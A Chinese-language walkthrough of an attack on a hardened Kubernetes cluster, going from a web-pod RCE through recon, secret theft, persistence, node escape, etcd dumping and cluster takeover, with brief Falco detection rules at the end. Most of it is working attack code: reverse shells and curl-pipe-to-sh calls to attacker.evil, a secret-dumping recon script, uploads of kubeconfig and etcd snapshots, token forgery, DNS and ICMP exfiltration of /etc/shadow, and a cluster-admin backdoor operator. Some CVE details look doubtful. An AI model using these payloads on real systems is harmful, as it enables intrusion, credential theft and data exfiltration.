一、攻击路径全景图

本文模拟一个有安全意识的企业 K8s 集群(已启用 PSA Baseline、有 Falco、etcd 开了 mTLS),看攻击者如何从一个拿到 shell 的普通 Web Pod 出发,逐步扩大战果:

Step 1  初始访问: 应用 RCE → 拿到 Pod shell
Step 2  侦察阶段: 收集 SA token / RBAC / Kubernetes 版本
Step 3  横向侦察: 枚举其他 Pod / Service / ConfigMap
Step 4  权限提升 1: 利用过宽的 SA 权限 exec 到其他 Pod
Step 5  权限提升 2: 利用 secrets 读取数据库密码
Step 6  持久化: 创建恶意 DaemonSet / CronJob
Step 7  节点攻击: 从 Pod 拿到节点信息
Step 8  控制平面攻击: 窃取 kubeconfig / apiserver 凭证
Step 9  etcd 攻击: 读取所有集群 Secret
Step 10 网络侦察: 扫描 VPC 内网
Step 11 数据窃取: exfiltration 到外部 C2
Step 12 集群接管: 安装后门 Operator

二、Step 1 - 初始访问:应用 RCE

假设攻击者通过某个 Web 应用的反序列化漏洞拿到了 Pod 内执行命令的能力。

# CVE-2024-21887 Ivanti Connect Secure RCE 简化版 PoC
import socket
import ssl
import re

def exploit_rce(target_url, cmd):
    """伪代码:演示概念"""
    # 发送恶意请求触发 RCE
    sock = socket.create_connection((target_url, 443))
    ctx = ssl.create_default_context()
    ssock = ctx.wrap_socket(sock)
    payload = f"GET /endpoint?param=|{cmd}| HTTP/1.1\r\nHost: {target_url}\r\n\r\n"
    ssock.sendall(payload.encode())
    response = ssock.recv(4096)
    ssock.close()
    return response.decode()

# 实际攻击: 在目标 Pod 里反弹 shell
reverse_shell = "bash -i >& /dev/tcp/attacker.evil/4444 0>&1"
# ... 发送 payload ...

# 攻击者端监听
# nc -lvnp 4444

三、Step 2 - 侦察:K8s 环境识别

攻击者拿到 Pod shell 后的第一件事:搞清楚自己在哪

3.1 基础环境探测

# 1. 确认在 K8s Pod 内
cat /proc/1/cgroup | head -3
# 典型输出: /kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podxxxxx.slice/cri-containerd://xxxxxxxxxxxx.scope

# 2. 获取 SA token + CA
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)
KUBE=https://kubernetes.default.svc

echo "[+] Namespace: $NAMESPACE"
echo "[+] Token exists: $([ -n "$TOKEN" ] && echo YES || echo NO)"

# 3. 检查 SA 有什么权限(最关键)
for verb in get list watch create update patch delete; do
  for res in pods secrets configmaps services deployments nodes; do
    resp=$(curl -sk --cacert $CA -H "Authorization: Bearer $TOKEN"       -H "Content-Type: application/json"       -d "{"apiVersion":"authorization.k8s.io/v1","kind":"SubjectAccessReview","spec":{"resourceAttributes":{"verb":"$verb","resource":"$res"}}}"       $KUBE/apis/authorization.k8s.io/v1/subjectaccessreview 2>/dev/null)
    echo "$resp" | grep -q '"allowed":true' && echo "✅ 可以 $verb $res"
  done
done

# 4. K8s 版本(影响已知 CVE)
curl -sk --cacert $CA -H "Authorization: Bearer $TOKEN"   $KUBE/version 2>/dev/null | jq -r '.gitVersion'

# 5. 检查自己 Pod 的 yaml(发现暴露的 Secret、镜像 tag)
MY_POD=$(hostname)
curl -sk --cacert $CA -H "Authorization: Bearer $TOKEN"   $KUBE/api/v1/namespaces/$NAMESPACE/pods/$MY_POD 2>/dev/null | jq .

# 6. 节点信息
NODE_NAME=$(cat /etc/hostname 2>/dev/null)
curl -sk --cacert $CA -H "Authorization: Bearer $TOKEN"   $KUBE/api/v1/nodes/$NODE_NAME 2>/dev/null | jq '.status.nodeInfo'

3.2 Python 版侦察脚本(完整可执行)

#!/usr/bin/env python3
"""
K8s Pod 内侦察脚本 - 发现 SA 权限、其他 Pod、Secret 等
攻击者视角
"""
import os, json, urllib.request, ssl, base64, socket

class K8sRecon:
    def __init__(self):
        self.token = open("/var/run/secrets/kubernetes.io/serviceaccount/token").read()
        self.ca = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
        self.namespace = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace").read().strip()
        self.api = "https://kubernetes.default.svc"
        self.ctx = ssl.create_default_context(cafile=self.ca)
        self.headers = {"Authorization": f"Bearer {self.token}"}

    def get(self, path):
        req = urllib.request.Request(f"{self.api}{path}", headers=self.headers)
        try:
            with urllib.request.urlopen(req, context=self.ctx) as r:
                return json.loads(r.read())
        except Exception as e:
            return None

    def can(self, verb, resource):
        """检查 SA 是否有权限"""
        data = json.dumps({
            "apiVersion": "authorization.k8s.io/v1",
            "kind": "SubjectAccessReview",
            "spec": {"resourceAttributes": {"verb": verb, "resource": resource}}
        }).encode()
        req = urllib.request.Request(
            f"{self.api}/apis/authorization.k8s.io/v1/subjectaccessreview",
            data=data, headers={**self.headers, "Content-Type": "application/json"}
        )
        try:
            with urllib.request.urlopen(req, context=self.ctx) as r:
                return json.loads(r.read()).get("status", {}).get("allowed", False)
        except: return False

    def run(self):
        print(f"[*] Namespace: {self.namespace}")
        print(f"[*] K8s Version: {self.get('/version') or 'unknown'}")

        # 枚举 SA 权限矩阵
        print("
[*] SA 权限矩阵:")
        for verb in ["get", "list", "watch", "create", "update", "delete", "exec", "patch"]:
            for res in ["pods", "pods/exec", "secrets", "configmaps", "services", "deployments", "nodes", "roles"]:
                if self.can(verb, res):
                    print(f"    ✅ {verb:8s} {res}")

        # 列出本 namespace 所有 Pod
        pods = self.get(f"/api/v1/namespaces/{self.namespace}/pods")
        if pods and "items" in pods:
            print(f"
[*] 本 NS Pods: {len(pods['items'])}")
            for p in pods["items"]:
                name = p["metadata"]["name"]
                status = p["status"]["phase"]
                print(f"    - {name} ({status})")

        # 尝试 list secrets (最有价值)
        secrets = self.get(f"/api/v1/namespaces/{self.namespace}/secrets")
        if secrets and "items" in secrets:
            print(f"
[!] 发现 {len(secrets['items'])} 个 Secret:")
            for s in secrets["items"]:
                name = s["metadata"]["name"]
                print(f"    - {name}")
                # 尝试解码内容
                if "data" in s:
                    for k, v in s["data"].items():
                        try:
                            decoded = base64.b64decode(v).decode(errors="replace")
                            print(f"      {k} = {decoded[:40]}...")
                        except: pass

        # 检查网络
        self._scan_network()

    def _scan_network(self):
        """内网端口扫描"""
        import concurrent.futures
        # K8s Service CIDR 通常是 10.96.0.0/12
        targets = [
            ("kubernetes.default.svc", 443),
            ("kube-dns.kube-system", 53),
            (f"{self.namespace}.svc.cluster.local", 80),
        ]
        print(f"
[*] 内网探测:")
        for host, port in targets:
            try:
                ip = socket.gethostbyname(host)
                s = socket.create_connection((ip, port), timeout=1)
                s.close()
                print(f"    ✅ {host}:{port} ({ip})")
            except Exception as e:
                print(f"    ❌ {host}:{port} - {e}")

if __name__ == "__main__":
    K8sRecon().run()

四、Step 3 - 横向移动:利用 SA exec 到其他 Pod

4.1 如果 SA 有 pods/exec 权限

# 直接调用 exec API (相当于 kubectl exec)
POD_TO_HACK="other-app-7d4f5b6c7b-xxxxx"

# 用 curl 完成 exec (SPDY 协议较复杂,用 Python 更容易)
python3 -c "
import json, urllib.request, ssl, base64
TOKEN=open('/var/run/secrets/kubernetes.io/serviceaccount/token').read()
CA='/var/run/secrets/kubernetes.io/serviceaccount/ca.crt'
ctx=ssl.create_default_context(cafile=CA)
headers={'Authorization': f'Bearer {TOKEN}'}

# 简单版:pods/attach 到主容器
url=f'https://kubernetes.default.svc/api/v1/namespaces/${NAMESPACE}/pods/${POD_TO_HACK}/attach?container=main&stdin=1&stdout=1&tty=1'
# 生产攻击中需要 SPDY 协议处理
"

4.2 更简单:kubectl 已安装

很多基础镜像(特别是 CI 镜像)自带 kubectl:

# 如果容器里有 kubectl
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token=$TOKEN --server=https://kubernetes.default.svc   --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt   get pods -A

# exec 到高权限 Pod
kubectl --token=$TOKEN exec -it privileged-pod-xxx -- /bin/sh

4.3 通过挂载的 Secret 获取其他 ServiceAccount Token

# 某些 Pod 会把其他 SA 的 Secret 作为 volume 挂载
find / -name "token" -path "*/serviceaccount/*" 2>/dev/null
find / -name "*.crt" -path "*kubernetes*" 2>/dev/null
find /etc/secrets /mount /data -type f 2>/dev/null | xargs grep -l "kubernetes.io" 2>/dev/null

五、Step 4 - 读取 Secret:黄金密码

假设 Step 2 发现 SA 有 list secrets 权限:

# 列出本 namespace 所有 secret
curl -sk -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"   https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets | jq -r '.items[] | "(.metadata.name): (.data | keys)"'

# 解码数据库密码
curl -sk -H "Authorization: Bearer $TOKEN"   https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets/db-credentials |   jq -r '.data | to_entries[] | "(.key): (.value)"' |   while read key b64val; do
    val=$(echo $b64val | base64 -d)
    echo "$key = $val"
  done

# Cluster-wide secret 枚举(如果 SA 权限够)
for ns in $(curl -sk $KUBE/api/v1/namespaces -H "Authorization: Bearer $TOKEN" | jq -r '.items[].metadata.name'); do
  echo "=== Namespace: $ns ==="
  curl -sk $KUBE/api/v1/namespaces/$ns/secrets -H "Authorization: Bearer $TOKEN" |     jq -r '.items[]?.metadata.name'
done

六、Step 5 - 持久化:在集群里扎根

6.1 方法 A:创建 CronJob 定时反弹

# persistence-cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
  name: system-updater  # 看起来很正常
  namespace: kube-system  # 如果有 cluster-admin 权限
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          serviceAccountName: kube-system-default  # 偷一个高权限 SA
          containers:
          - name: updater
            image: alpine
            command:
            - /bin/sh
            - -c
            - |
              # 反弹 shell 到 C2
              apk add --no-cache curl 2>/dev/null
              curl -s http://attacker.evil:8080/setup.sh | sh
              # 或者直接 bash -i >& /dev/tcp/attacker.evil/4444 0>&1
          restartPolicy: OnFailure

6.2 方法 B:DaemonSet 覆盖所有节点

# 更狠:在每个节点都起一个后门
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-monitor
  namespace: kube-system
spec:
  selector:
    matchLabels:
      app: node-monitor
  template:
    metadata:
      labels:
        app: node-monitor
    spec:
      hostPID: true
      hostNetwork: true
      containers:
      - name: monitor
        image: alpine
        command: ["/bin/sh", "-c", "while true; do echo host compromise >> /tmp/.hidden; sleep 3600; done"]
        securityContext:
          privileged: true

6.3 方法 C:修改 kubelet 配置(节点级后门)

# 如果能写 /var/lib/kubelet (hostPath 挂载或其他方式)
# 修改 /var/lib/kubelet/config.yaml 关闭 ImagePolicy,允许任何镜像
cat >> /var/lib/kubelet/config.yaml << 'EOF'
defaultRuntimeClass: runc
featureGates:
  KubeletPodResources: true
imagePolicy:
  default: "Never"  # 禁止 ImagePolicy,允许不受信任的镜像
EOF

# 或者替换 kubelet 二进制
cp /usr/bin/kubelet /usr/bin/kubelet.orig
cp /tmp/backdoor-kubelet /usr/bin/kubelet
# 重启 kubelet
systemctl restart kubelet

七、Step 6 - 节点逃逸:从 Pod 拿到宿主机 root

7.1 如果 Pod 有 hostPath 挂载

# 检查所有挂载
mount | grep -E "/host|/var/lib|/etc/kubernetes"

# 如果挂载了宿主 /etc 或 /var
ls /host/etc/kubernetes/
ls /host/var/lib/kubelet/

# 直接读 kubeconfig
cat /host/etc/kubernetes/admin.conf

# 替换宿主的 SSH 公钥
echo "ssh-rsa AAAA attacker@evil" >> /host/root/.ssh/authorized_keys
chmod 600 /host/root/.ssh/authorized_keys

7.2 通过容器运行时 socket

# containerd socket
ls -la /run/containerd/containerd.sock 2>/dev/null
# cri-o socket
ls -la /var/run/crio/crio.sock 2>/dev/null

# 用 ctr 工具枚举宿主上所有容器
ctr -n k8s.io containers ls
ctr -n k8s.io tasks ls

# 直接操作宿主上的其他容器(比 kubectl exec 更底层)
ctr -n k8s.io exec -t <container-id> /bin/sh

八、Step 7 - 控制平面攻击

8.1 窃取 kubeconfig

# 在主节点上 /etc/kubernetes/
ls /etc/kubernetes/*.conf
# admin.conf 是最高权限
cat admin.conf
# 发给 C2
curl -T admin.conf http://attacker.evil/exfil/

8.2 伪造 Kubernetes SA Token

如果能访问 apiserver 的 token 签发私钥:

# apiserver 私钥路径
ls /etc/kubernetes/pki/
# apiserver.key 可以用来签发任意 SA token

# 用 Python 伪造 SA token
python3 << 'EOF'
import jwt
import time
from cryptography.hazmat.primitives import serialization

with open("/etc/kubernetes/pki/apiserver.key", "rb") as f:
    private_key = f.read()

# 伪造 cluster-admin 权限的 SA
payload = {
    "iss": "kubernetes/serviceaccount",
    "kubernetes.io/serviceaccount/namespace": "kube-system",
    "kubernetes.io/serviceaccount/name": "hacked-sa",
    "kubernetes.io/serviceaccount/uid": "00000000-0000-0000-0000-000000000001",
    "sub": "system:serviceaccount:kube-system:hacked-sa",
    "exp": int(time.time()) + 3600,
}

token = jwt.encode(payload, private_key, algorithm="RS256")
print(f"伪造的 token: {token}")
EOF

九、Step 8 - Etcd 攻击:读取整个集群的 Secret

9.1 方法 A:窃取 etcd 证书

# kubeadm 安装 etcd 时证书在 /etc/kubernetes/pki/etcd/
ls /etc/kubernetes/pki/etcd/
# ca.crt  ca.key  healthcheck-client.crt  healthcheck-client.key  peer.crt  peer.key  server.crt  server.key

# 用 etcdctl 连接
ETCDCTL_API=3 etcdctl   --endpoints=https://127.0.0.1:2379   --cacert=/etc/kubernetes/pki/etcd/ca.crt   --cert=/etc/kubernetes/pki/etcd/server.crt   --key=/etc/kubernetes/pki/etcd/server.key   get /registry/secrets --prefix

# 导出所有数据(dump)
ETCDCTL_API=3 etcdctl   --endpoints=https://127.0.0.1:2379   --cacert=/etc/kubernetes/pki/etcd/ca.crt   --cert=/etc/kubernetes/pki/etcd/server.crt   --key=/etc/kubernetes/pki/etcd/server.key   snapshot save /tmp/etcd-snapshot.db

# 把 snapshot 拷到本地分析
curl -T /tmp/etcd-snapshot.db http://attacker.evil/exfil/

9.2 方法 B:etcd 直接逃逸(CVE-2024-3177)

某些 etcd 版本允许通过 debug endpoint 绕过认证。

十、Step 9 - 数据窃取 (Exfiltration)

10.1 DNS Tunnel(绕过 HTTP 出口限制)

# 将数据编码到 DNS 查询中,请求攻击者控制的 DNS 服务器
cat /etc/shadow | base64 | fold -w50 | while read line; do
  host "$line.attacker.evil" 10.0.0.1
done

# 完整 Python 实现
python3 << 'PYEOF'
import base64, socket, time, zlib

def dns_exfil(filename, dns_server, domain):
    with open(filename, "rb") as f:
        data = zlib.compress(f.read())
    b64 = base64.urlsafe_b64encode(data).decode()
    print(f"[*] 要发送 {len(b64)} 字符")

    chunk_size = 40
    for i in range(0, len(b64), chunk_size):
        chunk = b64[i:i+chunk_size]
        query = f"{chunk}.{i//chunk_size:04d}.{domain}"
        try:
            socket.gethostbyname(query)
        except:
            pass  # NXDOMAIN 没关系,attacker 的 DNS server 已经收到了
        time.sleep(0.1)

dns_exfil("/etc/kubernetes/admin.conf", "attacker.evil", "exfil.attacker.evil")
PYEOF

10.2 ICMP 隧道

# 用 ping 的 data 字段携带数据
python3 -c "
import struct, socket
data = open('/etc/shadow','rb').read()
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
for i in range(0, len(data), 32):
    payload = data[i:i+32] + b'\x00' * (32 - len(data[i:i+32]))
    packet = struct.pack('!BBHHH', 8, 0, 0, 1, i) + payload
    s.sendto(packet, ('10.0.0.1', 0))
"

十一、Step 10 - 集群接管

11.1 安装恶意 Operator

# evil-operator.yaml - 伪装成正常的 CRD Operator
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
  name: clusters.security.corp
spec:
  group: security.corp
  names:
    kind: Cluster
    plural: clusters
  versions:
  - name: v1
    served: true
    storage: true
    schema:
      openAPIV3Schema:
        type: object
---
# Operator 自己的 Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
  name: security-agent
  namespace: kube-system
spec:
  replicas: 2
  selector:
    matchLabels:
      app: security-agent
  template:
    metadata:
      labels:
        app: security-agent
    spec:
      serviceAccountName: cluster-admin
      containers:
      - name: agent
        image: attacker.evil/agent:latest
        # 功能: 监听所有资源变化,自动 exfil 敏感数据
---
# 绑定 cluster-admin
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: security-agent-admin
subjects:
- kind: ServiceAccount
  name: security-agent
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

11.2 安装 webhook 后门

拦截所有 admission 请求,偷偷记录敏感字段或修改请求。

十二、检测与防御

12.1 Falco 规则(针对上述攻击)

# attacker-detection-rules.yaml
- rule: Attacker Pod Reads SA Token
  desc: 可疑地读取 SA token
  condition: >
    read_file and fd.name contains serviceaccount
  output: "Pod %user.name 读取 SA token: %fd.name"
  priority: CRITICAL

- rule: Reverse Shell Detected
  desc: 检测反弹 shell
  condition: >
    spawned_process and proc.name in (bash, sh, nc, ncat) and
    (proc.cmdline contains "/dev/tcp" or proc.cmdline contains "nc -e")
  output: "反弹 shell: %proc.cmdline"
  priority: CRITICAL

- rule: Kubectl Exec Detected
  desc: 攻击者用 kubectl exec 横向移动
  condition: >
    spawned_process and proc.name = kubectl and proc.cmdline contains "exec"
  priority: HIGH

- rule: DaemonSet Created in Kube-System
  desc: 在 kube-system 创建 DaemonSet(持久化)
  condition: >
    event_type = create and object.name = DaemonSet and k8s.ns.name = kube-system
  priority: CRITICAL

- rule: /etc/kubernetes Read
  desc: 读取 apiserver kubeconfig
  condition: >
    read_file and fd.name startswith /etc/kubernetes/
  priority: CRITICAL

- rule: Etcd Snapshot
  desc: etcd 快照导出
  condition: >
    spawned_process and proc.name = etcdctl and proc.cmdline contains "snapshot"
  priority: HIGH

12.2 检测脚本(持续监控)

#!/usr/bin/env python3
"""
实时监控 K8s API 事件,检测攻击行为
"""
import subprocess, json, time, sys, os

def stream_events():
    # 用 kubectl 实时 watch 所有事件
    proc = subprocess.Popen(
        ["kubectl", "get", "events", "-A", "--watch", "-o", "json"],
        stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
    )
    for line in proc.stdout:
        if not line.strip(): continue
        try:
            event = json.loads(line)
            analyze(event)
        except: pass

def analyze(event):
    reason = event.get("reason", "")
    message = event.get("message", "")
    involved = event.get("involvedObject", {})
    obj_kind = involved.get("kind", "")
    obj_name = involved.get("name", "")

    # 规则
    patterns = [
        ("ClusterRoleBinding", "cluster-admin", "有人授予了 cluster-admin"),
        ("Secret", "get", f"有人读取了 Secret {obj_name}"),
        ("Secret", "list", f"有人枚举了 Secret"),
        ("Pod", "exec", f"有人 exec 到 Pod {obj_name}"),
        ("DaemonSet", "create", f"有人创建了 DaemonSet {obj_name}"),
        ("CronJob", "create", f"有人创建了 CronJob {obj_name}"),
    ]
    for kind, action, alert in patterns:
        if obj_kind == kind and action.lower() in message.lower():
            print(f"[!] 告警: {alert} ({event.get('source',{}).get('component','?')})")
            # 触发告警(可接入 Slack/钉钉/邮件)

if __name__ == "__main__":
    stream_events()

十三、结语

K8s 渗透的核心认知:一个 Pod 只要有任何一个过宽的权限,整个集群就已经失守

  • SA token 泄露 + list secrets = 全量密钥泄露
  • SA token 泄露 + exec = 横向移动到所有 workload
  • SA token 泄露 + create pod = 持久化 + 节点逃逸
  • kubeconfig 泄露 = 直接接管

防御优先级:最小权限(PSA + RBAC 收紧)> 运行时检测(Falco)> 异常监控(审计日志 + SIEM)> 定期 red team。